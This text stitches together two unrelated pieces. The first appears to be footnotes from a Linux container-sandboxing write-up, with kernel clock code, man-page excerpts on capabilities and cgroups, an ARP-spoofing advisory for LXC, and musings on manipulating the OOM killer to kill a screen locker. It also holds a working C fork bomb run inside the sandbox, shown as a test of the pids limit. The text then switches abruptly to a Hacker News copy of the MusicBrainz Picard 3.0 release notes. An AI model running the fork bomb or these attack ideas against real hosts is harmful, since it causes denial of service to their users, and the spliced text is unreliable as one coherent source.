                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_ktime_get_ts,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_monotonic_raw = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_monotonic_raw,
            };
            struct k_clock clock_realtime_coarse = {
                    .clock_getres   = posix_get_coarse_res,
                    .clock_get      = posix_get_realtime_coarse,
            };
            struct k_clock clock_monotonic_coarse = {
                    .clock_getres   = posix_get_coarse_res,
                    .clock_get      = posix_get_monotonic_coarse,
            };
            struct k_clock clock_tai = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_tai,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_boottime = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_boottime,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };

            posix_timers_register_clock(CLOCK_REALTIME, &clock_realtime);
            posix_timers_register_clock(CLOCK_MONOTONIC, &clock_monotonic);
            posix_timers_register_clock(CLOCK_MONOTONIC_RAW, &clock_monotonic_raw);
            posix_timers_register_clock(CLOCK_REALTIME_COARSE, &clock_realtime_coarse);
            posix_timers_register_clock(CLOCK_MONOTONIC_COARSE, &clock_monotonic_coarse);
            posix_timers_register_clock(CLOCK_BOOTTIME, &clock_boottime);
            posix_timers_register_clock(CLOCK_TAI, &clock_tai);

            posix_timers_cache = kmem_cache_create("posix_timers_cache",
                                            sizeof (struct k_itimer), 0, SLAB_PANIC,
                                            NULL);
            return 0;
    }

and that those methods go through settimeofday and adjtimex , which are both also gated by CAP_SYS_TIME .

    /* Set clock_realtime */
    static int posix_clock_realtime_set(const clockid_t which_clock,
                                        const struct timespec *tp)
    {
            return do_sys_settimeofday(tp, NULL);
    }

    static int posix_clock_realtime_adj(const clockid_t which_clock,
                                        struct timex *t)
    {
            return do_adjtimex(t);
    }

    /**
     * cap_settime - Determine whether the current process may set the system clock
     * @ts: The time to set
     * @tz: The timezone to set
     *
     * Determine whether the current process may set the system clock and timezone
     * information, returning 0 if permission granted, -ve if denied.
     */
    int cap_settime(const struct timespec64 *ts, const struct timezone *tz)
    {
            if (!capable(CAP_SYS_TIME))
                    return -EPERM;
            return 0;
    }

    /**
     * ntp_validate_timex - Ensures the timex is ok for use in do_adjtimex
     */
    int ntp_validate_timex(struct timex *txc)
    {
            if (txc->modes & ADJ_ADJTIME) {
                    /* singleshot must not be used with any other mode bits */
                    if (!(txc->modes & ADJ_OFFSET_SINGLESHOT))
                            return -EINVAL;
                    if (!(txc->modes & ADJ_OFFSET_READONLY) &&
                        !capable(CAP_SYS_TIME))
                            return -EPERM;
            } else {
                    /* In order to modify anything, you gotta be super-user! */
                     if (txc->modes && !capable(CAP_SYS_TIME))
                            return -EPERM;
                    /*
                     * if the quartz is off by more than 10% then
                     * something is VERY wrong!
                     */
                    if (txc->modes & ADJ_TICK &&
                        (txc->tick <  900000/USER_HZ ||
                         txc->tick > 1100000/USER_HZ))
                            return -EINVAL;
            }

            /* ... *
    }

66

    ADJTIME(3) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

    NAME
            adjtime - correct the time to synchronize the system clock

            [...]

    ERRORS

            EINVAL
                    The adjustment in delta is outside the permitted range.

            EPERM
                    The caller does not have sufficient privilege to adjust
                    the time.  Under Linux,  the CAP_SYS_TIME capability is
                    required.

67

PCICONFIG_READ(2) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

NAME
	pciconfig_read,  pciconfig_write,   pciconfig_iobase  -  pci
	device information handling
	[...]
ERRORS
	[...]
	EPERM
		User does not have  the CAP_SYS_ADMIN capability.  This
		does not apply to pciconfig_iobase().

69

    USTAT(2) -- 2003-08-04 -- Linux -- Linux Programmer's Manual

    NAME
            ustat - get filesystem statistics

    SYNOPSIS
            #include <sys/types.h>
            #include <unistd.h>    /* libc[45] */
            #include <ustat.h>     /* glibc2 */

            int ustat(dev_t dev, struct ustat *ubuf);

    DESCRIPTION
            ustat() returns information about a mounted filesystem.  dev
            is a device number identifying a device containing a mounted
            filesystem.  ubuf  is a  pointer to  a ustat  structure that
            contains the following members:

                daddr_t f_tfree;      /* Total free blocks */
                ino_t   f_tinode;     /* Number of free inodes */
                char    f_fname[6];   /* Filsys name */
                char    f_fpack[6];   /* Filsys pack name */

            The  last   two  fields,   f_fname  and  f_fpack,   are  not
            implemented  and  will  always  be filled  with  null  bytes
            ('\0').

70

    SYSFS(2) -- 2010-06-27 -- Linux -- Linux Programmer's Manual

    NAME
            sysfs - get filesystem type information

    SYNOPSIS
            int sysfs(int option, const char *fsname);

            int sysfs(int option, unsigned int fs_index, char *buf);

            int sysfs(int option);

    DESCRIPTION
            sysfs()  returns  information  about  the  filesystem  types
            currently present in  the kernel.  The specific  form of the
            sysfs()  call and  the information  returned depends  on the
            option in effect:

            1  Translate the filesystem identifier  string fsname into a
               filesystem type index.

            2  Translate  the  filesystem  type index  fs_index  into  a
               null-terminated   filesystem  identifier   string.   This
               string will be  written to the buffer pointed  to by buf.
               Make sure that buf has enough space to accept the string.

            3  Return  the total  number of  filesystem types  currently
               present in the kernel.

            The  numbering of  the filesystem  type indexes  begins with
            zero.

71

USELIB(2) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

NAME
	uselib - load shared library

	[..]

NOTES
	[...]

	Since Linux  3.15, this system  call is available  only when
	the kernel is configured with the CONFIG_USELIB option.

72

SYNC_FILE_RANGE(2) -- 2014-08-19 -- Linux -- Linux Programmer's Manual

NAME
	sync_file_range - sync a file segment with disk

	[...]
NOTES

   sync_file_range2()
	Some   architectures  (e.g.,   PowerPC,  ARM)   need  64-bit
	arguments to be aligned in a suitable pair of registers.  On
	such architectures, the  call signature of sync_file_range()
	shown in the SYNOPSIS would force a register to be wasted as
	padding  between   the  fd   and  offset   arguments.   (See
	syscall(2)  for  details.)  Therefore,  these  architectures
	define  a different  system call  that orders  the arguments
	suitably:

	    int sync_file_range2(int fd, unsigned int flags,
						off64_t offset, off64_t nbytes);

	The behavior  of this system  call is otherwise  exactly the
	same as sync_file_range().

73

READDIR(2) -- 2013-06-21 -- Linux -- Linux Programmer's Manual

NAME
	readdir - read directory entry

SYNOPSIS

	int readdir(unsigned int fd, struct old_linux_dirent *dirp,
			  unsigned int count);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

DESCRIPTION
	This is  not the  function you are  interested in.   Look at
	readdir(3)  for the  POSIX conforming  C library  interface.
	This page  documents the bare kernel  system call interface,
	which is superseded by getdents(2).

	readdir()  reads  one  old_linux_dirent structure  from  the
	directory referred  to by  the file  descriptor fd  into the
	buffer pointed to  by dirp.  The argument  count is ignored;
	at most one old_linux_dirent structure is read.

74

NAME
	kexec_load, kexec_file_load  - load  a new kernel  for later
	execution
	[...]
ERRORS
	[...]
	EPERM
		The caller does not have the CAP_SYS_BOOT capability.

75

NICE(2) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

NAME
	nice - change process priority

	[...]
ERRORS

	EPERM
		The calling process attempted  to increase its priority
		by  supplying  a  negative  inc  but  has  insufficient
		privileges.  Under  Linux, the  CAP_SYS_NICE capability
		is   required.   (But   see  the   discussion  of   the
		RLIMIT_NICE resource limit in setrlimit(2).)

76

PERFMONCTL(2) -- 2013-02-13 -- Linux -- Linux Programmer's Manual

NAME
	perfmonctl - interface to IA-64 performance monitoring unit

	[...]

CONFORMING TO
	perfmonctl() is Linux-specific and  is available only on the
	IA-64 architecture.

78

SPU_CREATE(2) -- 2015-12-28 -- Linux -- Linux Programmer's Manual

NAME
	spu_create - create a new spu context

SYNOPSIS
	#include <sys/types.h>
	#include <sys/spu.h>

	int spu_create(const char *pathname, int flags, mode_t mode);
	int spu_create(const char *pathname, int flags, mode_t mode,
				int neighbor_fd);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

DESCRIPTION
	The  spu_create() system  call is  used on  PowerPC machines
	that  implement the  Cell Broadband  Engine Architecture  in
	order  to access  Synergistic  Processor  Units (SPUs).   It
	creates a  new logical  context for an  SPU in  pathname and
	returns a file descriptor associated with it.  pathname must
	refer to a  nonexistent directory in the mount  point of the
	SPU filesystem  (spufs).  If  spu_create() is  successful, a
	directory is  created at pathname  and it is  populated with
	the files described in spufs(7).

79

SPU_RUN(2) -- 2012-08-05 -- Linux -- Linux Programmer's Manual

NAME
	spu_run - execute an SPU context

SYNOPSIS
	#include <sys/spu.h>

	int spu_run(int fd, unsigned int *npc, unsigned int *event);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

DESCRIPTION
	The spu_run() system  call is used on  PowerPC machines that
	implement the Cell Broadband Engine Architecture in order to
	access Synergistic Processor Units  (SPUs).  The fd argument
	is a  file descriptor returned by  spu_create(2) that refers
	to a specific SPU context.   When the context gets scheduled
	to a  physical SPU, it  starts execution at  the instruction
	pointer passed in npc.

80

SUBPAGE_PROT(2) -- 2012-07-13 -- Linux -- Linux Programmer's Manual

NAME
	subpage_prot -  define a  subpage protection for  an address
	range

	[...]

VERSIONS
	This  system call  is provided  on the  PowerPC architecture
	since Linux 2.6.25.  The system call is provided only if the
	kernel is configured  with CONFIG_PPC_64K_PAGES.  No library
	support is provided.

82

This is pretty vague, so I looked at the source. It's only mentioned in an Sparc64-specific file:

83

DESCRIPTION
	The readv() system  call reads iovcnt buffers  from the file
	associated  with the  file  descriptor fd  into the  buffers
	described by iov ("scatter input").

	The  writev()  system call  writes  iovcnt  buffers of  data
	described  by  iov to  the  file  associated with  the  file
	descriptor fd ("gather output").

	[...]

	The readv() system call works  just like read(2) except that
	multiple buffers are filled.

	The  writev() system  call works  just like  write(2) except
	that multiple buffers are written out.

	[...]

   preadv() and pwritev()
	The  preadv()  system  call combines  the  functionality  of
	readv() and pread(2).  It performs the same task as readv(),
	but adds a fourth argument, offset, which specifies the file
	offset at which the input operation is to be performed.

	The  pwritev() system  call  combines  the functionality  of
	writev()  and  pwrite(2).   It  performs the  same  task  as
	writev(),  but   adds  a  fourth  argument,   offset,  which
	specifies the file  offset at which the  output operation is
	to be performed.

	The file offset  is not changed by these  system calls.  The
	file referred to by fd must be capable of seeking.

   preadv2() and pwritev2()

	These  system calls  are similar  to preadv()  and pwritev()
	calls, but add  a fifth argument, flags,  which modifies the
	behavior on a per-call basis.

	Unlike preadv() and pwritev(), if the offset argument is -1,
	then the current file offset is used and updated.

	The flags argument contains a bitwise  OR of zero or more of
	the following flags:

	RWF_DSYNC (since Linux 4.7)
		Provide a  per-write equivalent of the  O_DSYNC open(2)
		flag.  This flag is meaningful only for pwritev2(), and
		its effect  applies only to  the data range  written by
		the system call.

	RWF_HIPRI (since Linux 4.6)
		High    priority   read/write.     Allows   block-based
		filesystems  to  use  polling   of  the  device,  which
		provides   lower  latency,   but  may   use  additional
		resources.  (Currently, this feature  is usable only on
		a file descriptor opened using the O_DIRECT flag.)

	RWF_SYNC (since Linux 4.7)
		Provide a  per-write equivalent  of the  O_SYNC open(2)
		flag.  This flag is meaningful only for pwritev2(), and
		its effect  applies only to  the data range  written by
		the system call.

84

This isn't just a denial-of-service concern. If a process consumes a lot of memory, and has a better badness score than some other critical host-side process, the host-side process will be killed by the kernel's out-of-memory killer.

The badness score favors longer-running processes, among other things:

"Taming the OOM Killer" on LWN:

The process to be killed in an out-of-memory situation is selected based on its badness score. The badness score is reflected in /proc/<pid>/oom_score. This value is determined on the basis that the system loses the minimum amount of work done, recovers a large amount of memory, doesn't kill any innocent process eating tons of memory, and kills the minimum number of processes (if possible limited to one). The badness score is computed using the original memory size of the process, its CPU time (utime + stime), the run time (uptime - start time) and its oom_adj value. The more memory the process uses, the higher the score. The longer a process is alive in the system, the smaller the score.

I haven't demonstrated it, but I believe this could manipulated to cause a screen lock program to be killed, for example. It's not unheard of for e.g. xscreensaver to leak memory:

"gltext seems to leak memory eventually causing oom-killer to run" :

gltext is consuming large amounts of memory. Often being killed by oom-killer but eventually causing me not to be able to log into my computer disabling gltext from the list of possible screensavers caused the problem to go away.

There's even an open Ubuntu xscreensaver bug to make the OOM killer more likely to kill xscreensaver. This seems like the wrong direction to me….

"xscreensaver does not protect the system against its children" :

The thing is, a screensaver is NOT a critically important part of the system. It should die early if it is a resource hog. All you have to do is write "10" into /proc/PID/oom_adj and Bob's your uncle. Until then, Xscreensaver is failing its duties.

85

	Cgroup namespaces virtualize the view of a process's cgroups
	(see   cgroups(7))  as   seen  via   /proc/[pid]/cgroup  and
	/proc/[pid]/mountinfo.

	Each  cgroup  namespace  has  its own  set  of  cgroup  root
	directories,  which are  the  base points  for the  relative
	locations displayed  in /proc/[pid]/cgroup.  When  a process
	creates a new cgroup  namespace using clone(2) or unshare(2)
	with  the  CLONE_NEWCGROUP  flag,  it enters  a  new  cgroup
	namespace in  which its  current cgroups  directories become
	the  cgroup root  directories of  the new  namespace.  (This
	applies both for  the cgroups version 1  hierarchies and the
	cgroups version 2 unified hierarchy.)

88

   Cgroups version 1 controllers
	Each of the  cgroups version 1 controllers is  governed by a
	kernel configuration  option (listed  below).  Additionally,
	the availability of  the cgroups feature is  governed by the
	CONFIG_CGROUPS kernel configuration option.

	cpu (since Linux 2.6.24; CONFIG_CGROUP_SCHED)
		Cgroups  can be  guaranteed  a minimum  number of  "CPU
		shares" when a  system is busy.  This does  not limit a
		cgroup's CPU usage if the CPUs are not busy.

		Further information  can be found in  the kernel source
		file Documentation/scheduler/sched-bwc.txt.

89

						   Process Number Controller
						   =========================

Abstract
--------

The process number controller is used to allow a cgroup hierarchy to stop any
new tasks from being fork()'d or clone()'d after a certain limit is reached.

Since it is trivial to hit the task limit without hitting any kmemcg limits in
place, PIDs are a fundamental resource. As such, PID exhaustion must be
preventable in the scope of a cgroup hierarchy by allowing resource limiting of
the number of tasks in a cgroup.

Usage
-----

In order to use the `pids` controller, set the maximum number of tasks in
pids.max (this is not available in the root cgroup for obvious reasons). The
number of processes currently in the cgroup is given by pids.current.

for example,

/* -*- compile-command: "gcc -Wall -Werror -static forkbomb.c -o forkbomb" -*- */
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main (int argc, char  **argv)
{
	switch (fork()) {
	case -1:
		fprintf(stderr, "++ couldn't even fork once: %m\n");
		return 1;
	case 0:
		while (1) {
			switch (fork()) {
			case -1:
				break;
			case 0:
				fprintf(stderr, "++ successful fork.\n");
				break;
			default:
				break;
				
			}
		}
		break;
	default:
		while (1) sleep(1);
		break;
	}
	return 0;
}
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c forkbomb
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.0sOZgF...done.
=> trying a user namespace...writing /proc/2184/uid_map...writing /proc/2184/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
++ successful fork.
C-c C-c

90

Details of cgroup files
=======================
Proportional weight policy files
--------------------------------
- blkio.weight
	- Specifies per cgroup weight. This is default weight of the group
	  on all the devices until and unless overridden by per device rule.
	  (See blkio.weight_device).
	  Currently allowed range of weights is from 10 to 1000.

91

   Creating cgroups and moving processes
	A cgroup filesystem initially contains a single root cgroup,
	'/', which all processes belong to.  A new cgroup is created
	by creating a directory in the cgroup filesystem:

	    mkdir /sys/fs/cgroup/cpu/cg1

	This creates a new empty cgroup.

	A process  may be moved  to this  cgroup by writing  its PID
	into the cgroup's cgroup.procs file:

	    echo $$ > /sys/fs/cgroup/cpu/cg1/cgroup.procs

	Only one PID at a time should be written to this file.

	Writing  the  value 0  to  a  cgroup.procs file  causes  the
	writing process to be moved to the corresponding cgroup.

	When writing a PID into the cgroup.procs, all threads in the
	process are moved into the new cgroup at once.

	Within a hierarchy, a process can be a member of exactly one
	cgroup.   Writing a  process's  PID to  a cgroup.procs  file
	automatically removes  it from  the cgroup  of which  it was
	previously a member.

	The cgroup.procs  file can be read  to obtain a list  of the
	processes that are  members of a cgroup.   The returned list
	of  PIDs is  not  guaranteed  to be  in  order.   Nor is  it
	guaranteed to  be free of  duplicates.  (For example,  a PID
	may be recycled while reading from the list.)

	In cgroups v1 (but not cgroups v2), an individual thread can
	be moved to  another cgroup by writing its  thread ID (i.e.,
	the kernel thread ID returned  by clone(2) and gettid(2)) to
	the tasks file in a cgroup directory.  This file can be read
	to  discover the  set of  threads  that are  members of  the
	cgroup.  This file is not present in cgroup v2 directories.

92

	The soft limit is the value that the kernel enforces for the
	corresponding resource.   The hard  limit acts as  a ceiling
	for the soft limit: an unprivileged process may set only its
	soft limit  to a value  in the range from  0 up to  the hard
	limit,  and   (irreversibly)  lower   its  hard   limit.   A
	privileged    process   (under    Linux:   one    with   the
	CAP_SYS_RESOURCE capability)  may make arbitrary  changes to
	either limit value.

93

1.4 What does notify_on_release do ?
------------------------------------

If the notify_on_release flag is enabled (1) in a cgroup, then
whenever the last task in the cgroup leaves (exits or attaches to
some other cgroup) and the last child cgroup of that cgroup
is removed, then the kernel runs the command specified by the contents
of the "release_agent" file in that hierarchy's root directory,
supplying the pathname (relative to the mount point of the cgroup
file system) of the abandoned cgroup.  This enables automatic
removal of abandoned cgroups.  The default value of
notify_on_release in the root cgroup at system boot is disabled
(0).  The default value of other cgroups at creation is the current
value of their parents' notify_on_release settings. The default value of
a cgroup hierarchy's release_agent path is empty.

It's annoying to set the release agent on a per-container basis, so we'll avoid it.

94

Description:

An unprivileged LXC container can conduct an ARP spoofing attack
against another unprivileged LXC container running on the same
host. This allows man-in-the-middle attacks on another container's
traffic.

Recommendation:

Due to the complex nature of this involving the Linux bridge
interface, NCC is not aware of an easy fix. We suggest involving the
kernel networking team to allow for ARP restrictions on virtual bridge
interfaces. Using ebtables to block and control link layer traffic may
also be an effective fix. Documentation should reflect the risks of
not using any future protections or ebtables.

Stéphane Graber (stgraber) wrote on 2016-02-22:	#1
Hi,

Thanks for the report. This is not exactly news to us and has been
mentioned publicly a few times.

Our usual answer to this is that if you don't trust your users, you
shouldn't grant them access to a shared bridge, instead setup a
separate bridge for them.

MAC filtering through ebtables is an option but the problem with this
approach is that it essentially prevents container nesting as that
would lead to more than one MAC being used by the container which
ebtables would block.

[...]

On a local system, our answer to that is as I said to either trust
everyone you give access to a shared bridge or to segment traffic by
using multiple bridges.

95

   Cgroups version 1 controllers
	Each of the  cgroups version 1 controllers is  governed by a
	kernel configuration  option (listed  below).  Additionally,
	the availability of  the cgroups feature is  governed by the
	CONFIG_CGROUPS kernel configuration option.
[...]

	net_prio (since Linux 3.3; CONFIG_CGROUP_NET_PRIO)
		This  allows priorities  to be  specified, per  network
		interface, for cgroups.

		Further information  can be found in  the kernel source
		file Documentation/cgroup-v1/net_prio.txt.

Picard 3.0 Released

Hacker News
blog.metabrainz.org
2026-10-05 10:03:01
Comments...
Original Article

The Picard team is happy to announce the new major version 3.0 of MusicBrainz Picard, now available to download . MusicBrainz Picard is the official tag editor for the MusicBrainz database and helps you get your music collection sorted and cleaned up with data from MusicBrainz.

An image of a mock software cardboard box, showing "MusicBrainz Picard" as the title. There are two worn-out looking stickers visible on the box, one saying "Complete Tagging Solution", one "Community Support".

Beside the box there is a pink / orange circle with the text "Version 3".

This release brings many changes, including an upgrade to Qt6, a completely new plugin system, several improvements to the user interface, cover art processing, ISRC submission and many more. More details below.

What’s new?

User interface improvements

Qt is the application framework Picard is built upon. Qt simplifies the implementation of cross-platform desktop applications as it abstracts away many of the differences between various operating systems. Picard 2 was based on Qt5. With Picard 3 we have updated to Qt6. Besides ensuring that Picard stays up-to-date and available on modern desktops, this version change also brings some advantages like much improved support for screen scaling and better support for a dark mode. Specifically on Windows the old issues of having fonts scale inconsistently are now resolved. The UI now also supports a dark mode across all operating systems and switching between light and dark mode does no longer require a restart of the application.

Picard already supported customizing the file and album list views by selecting the columns to display. In previous versions this was limited to a couple of pre-defined columns, though. New contributor knguyen1 implemented full custom column support. You can now define your own columns, where you can define the actual column content using scripting. This gives a lot of flexibility showing exactly the information you need. There is also a new pre-defined “Match” column that allows to sort releases by match quality. For more details see the chapter Custom Columns in the documentation.

Screenshot showing the context menu for the main view column headers. The menu allows selecting columns and manage the columns. The entry "Manage custom columns" is highlighted.
The columns context menu, allowing you to customize the columns being shown in the main list views.

Another new feature, implemented by jpmsousa03, is the ability to filter the list views. You can select the fields to search and enter a search term. Only items matching this filter will be shown.

It is now possible to select and copy multiple tags in the metadata view and paste them on e.g. another tag, updating all corresponding tags. It is also possible to paste multiple copied values into a spreadsheet tool. This feature was provided by StevilKnevil.

The metadata view now also shows the actual differences between existing tags and the new tags being written.

On a first start Picard now shows a setup wizard, that guides new users through some essential configuration.

Screenshot of the Picard Setup Wizard dialog to configure File Organization.

It allows toggling the options for "Rename files based on tags" and "Move files to a folder structure based on tags". Each option is shown with a more detailed expalantion.
Setup Wizard showing the File Organization settings.

Also some essential functionality, such as loading files and clustering, gets explained by a tutorial mode when a feature is first used. Both the wizard and tutorial can be disabled or re-enabled in the user interface options .

Screenshot of one of the tutorial pop-ups Picard shows when certain actions happen for the first time. In this case it shows the tutorial being shown when a release is loaded for the first time.
The tutorial being shown when a release is loaded for the first time.

New plugin system

Apart from the Qt6 migration the new plugin system is the most significant change in Picard 3. While the previous plugin system enabled a lot of flexibility in Picard, it has a couple of limitations. For example, Picard would load, and partially run, the code of each installed plugin on every start, whether the plugin was enabled or not. This could lead to unwanted side effects and unexpected behavior. On the development side it proved also difficult for third-party developers, especially for more complex plugins, as all code had to be checked into the central picard-plugins Git repository.

The new plugin system provides:

  • Separation of plugin metadata and code: MANIFEST.toml is mandatory
  • A defined plugin API with typing support
  • Git based versioning and updating of plugins
  • Plugins can be installed and updated from a central plugin registry, from third-party Git repositories, or from a local directory
  • Several trust levels (official, trusted, community, untrusted)
  • The ability to blacklist plugins centrally allows us to react on security issues
  • A picard-cli command line tool to manage (install, uninstall, update…) plugins
  • Plugins now support their own translation system (optionally manageable via Weblate), so their user interface texts can be translated
  • Plugins have their own configuration namespace

All the extension points known from Picard 2 to register metadata processors, context menu actions, cover art providers, file formats, option pages etc. are still available. But there are several new extension points; plugins can now register cover art filters and processors, custom variables, actions in a global “Plugin Tools” menu and CD ripping log file formats.

As a user, the new plugin management under Options → Plugins now clearly separates installed plugins from plugins available for installation. Both the list of installed and available plugins can be searched, and it is possible to install plugins from third-party developers. See the Plugins Options documentation for a more in-depth description.

Screenshot of the new Plugins options page, showing the list of currently installed plugins and a more detailed description of the selected one.
The new Plugins option page, showing a list of currently installed plugins.

This also means that Picard v2 plugins are not compatible and need to be migrated to the new system. There are already 30 plugins available, both plugins migrated from v2 and brand new ones. Have a look at the plugins v3 list on the Picard website .

If you are a developer and want to update your plugins to Picard 3 or maybe write a new one, please see the Plugin overview in the Picard User Guide and the detailed Picard Plugin v3 Documentation .

Cover art processing

It is now possible to both filter and process cover art loaded from cover art providers. The new options in Cover Art / Processing allow you to ignore images below a certain size or automatically resize loaded images or convert them to a specific file format. Cover art processing can be extended by Plugins, which can register their own cover art filters and processors. Filters can restrict what cover art gets loaded, while processors can perform image processing on the loaded cover art.

Cover art processing was implemented as part of Google Summer of Code 2024 by twodoorcoupe. You can read more about this in twodoorcoupe’s blog post GSoC 2024: Picard image processing .

New tags and scripting enhancements

As full support for synced lyrics was added, there is now a new %syncedlyrics% tag. The MuicBrainz Artist ID of a composer is available as a new tag %musicbrainz_composerid% .

There are also several new variables, that provide data for tagging and naming scripts, but are not written as tags to the files by default. The new %_genres% and %_folksonomy_tags% variables give you access to the raw list of genres or folksonomy tags as loaded from MusicBrainz. For recordings with a broadcasted relationship the broadcasting date is available as %_broadcast_date% . If a recording has a linked work with a ISWC, the ISWC is now available as %_iswc% .

The variables %_albumartists_countries% and %_artists_countries% contain all country codes for all credited album artists / track artists. Likewise the disambiguation comments for artists and album artists are available as %_artistcomment% and %_albumartistcomment% .

The %_filesize% variable contains the file size in bytes (if the script is running in a context where a file is available, i.e. on tracks with a matched file or in a file naming script).

There are now two new functions $get_new() and $get_original() , which allow to explicitly request the original or new value of a variable. The $rsearch scripting function gained a new optional parameter, which can be used to specify the capture group inside the regular expression to be returned. Please see the documentation of the $rsearch function for an example.

Improved built-in player

The built-in player received several improvements. As before the player is based on QtMultimedia. With Qt6 this component brings better cross-platform support for various audio formats and pitch-adjustment if playback speed changes (requires Qt 6.10).

The player has also been internally refactored to better separate the player and UI. This allows better integration with the OS. The player now supports macOS “Now Playing” and on Linux can be controlled by MPRIS2 compatible tools. It can also submit listens to ListenBrainz. Both OS integration and ListenBrainz support can be configured in the new Audio Player Options .

Save and restore user session

Picard can save and restore your current workspace state as a session file under the main File menu. Sessions preserve file placement (unclustered, clusters, albums, specific tracks, and standalone recordings), your manual metadata edits, and selected configuration options so you can resume work later. Thanks to knguyen1 for this feature. See the chapter Sessions Management in the documentation for more details.

Export / import option profiles

Option profile support was already available in Picard 2. Option profiles allow you to create multiple different set of configuration options and quickly switch between them. With Picard 3 such option profiles now also can be exported and imported, both as a backup or to share them with others. If an option profile is exported in order to share it, the export will exclude any configuration options that are considered secret or private (such as authentication data). For details see the User Guide under Backing Up and Sharing Profiles .

Exporting and importing option profiles can also be done using the new picard-cli command line utility, see below.

We are excited to see how this feature will be used by the community.

Operating system support

Picard is now available for macOS ARM64 aka Apple silicon. While it was previously possible to run Picard on such systems using Apples Rosetta 2 emulation layer, the native builds offer better performance. Please note that there are separate downloads for the ARM64 and Intel versions of Picard. Please make sure to download the file appropriate for your hardware.

Due to the updated dependencies, in particular Picard now using PyQt6 / Qt6 and the minimum supported Python version being 3.10, support for older operating systems had to be dropped.
Picard 3 requires Windows 10 or later or macOS 13 or later. Linux users should have Qt 6.6 or later and at least Python 3.10 available.

CD disc lookup from tags and more log file import options

The existing functionality to lookup disc IDs from CD ripping log files was extended to support raw SCSI TOC data files as written by redumper .

For files ripped with iTunes / Apple Music and which contain the CD TOC as a iTunes_CDDB_1 tag it is now possible to perform a disc ID lookup directly from the tag. This is explained in detail in the User Guide under Lookup iTunes Tag .

Synchronized lyrics

Picard 3 provides initial support for synchronized lyrics. It can load and save a syncedlyrics tag from ID3 and WMA tags. The synchronized lyrics are using the LRC format to describe the timings. We plan to extend support for synchronized lyrics with future updates to support more tagging formats and lyrics features.

Translation of artist, release and track titles by aliases

The existing system to translate artist names using aliases has been extended to also provide translations of album and track titles. Also the old behavior of always falling back to using the sort name as translation has been made optional and is now disabled by default. See the Metadata Options documentation for details.

Screenshot of a part of the Metadata options page showing the new options to select if and when to translate artist names as well as album and track titles.
The new metadata translation options, which allow to translate artist names as well as album and track titles.

Improved release matching

The algorithm for matching files to releases and recordings after a Lookup was totally reworked and greatly improved.
Overall we expect the new algorithm to give better results. There is now also an extensive test framework in-place that allows us to detect regressions in the matching performance in the future.

ISRC lookup and submission

Picard now supports extracting ISRCs from CDs and adding them to loaded releases. It can also submit ISRCs loaded from disc or already present in the tags back to MusicBrainz. If new ISRCs are present for matched files, the ISRC submission dialog can be opened from the menu in File → Submit ISRCs. For details see the documentation on Submitting ISRCs .

The new ISRC submission dialog. It will show which new ISRCs are available for a recording and can submit those ISRCs back to MusicBrainz.

Individual files with an existing ISRC tag can also be looked up by ISRC using Lookup by… → Lookup by ISRC from the file’s context menu.

Command line utility “picard-cli”

Picard 3 comes with a new command line utility “picard-cli”. Currently this allows managing plugins and exporting/importing option profiles from the command line. Run picard-cli --help for more details.

Updated Picard User Guide

The online documentation available at https://picard-docs.musicbrainz.org has been updated for all of the changes in Picard 3. It is now hosted on ReadTheDocs and available in English, French and Dutch. When opening documentation pages from inside Picard the links will use the language matching Picard’s user interface language, if available. You can help translate the Picard User Guide into your language, see the instructions for Picard, Picard Website and Picard User Guide Internationalization .

Performance and memory optimizations

This release includes several optimizations to improve the speed and responsiveness of Picard during certain operations and to reduce memory use.

And more…

There have been many more improvements and bug fixes: Picard 3 is the product of roughly three years of work that began in late 2023 with the move to PyQt6: 687 merged pull requests, nearly 6,800 commits from over 100 contributors (including 40-ish translators), and almost 400 resolved tickets.

A good part of the code was rewritten, to ease maintenance and future evolution. Static typing is now used (but covering the whole code will take some time, we focused on important parts).
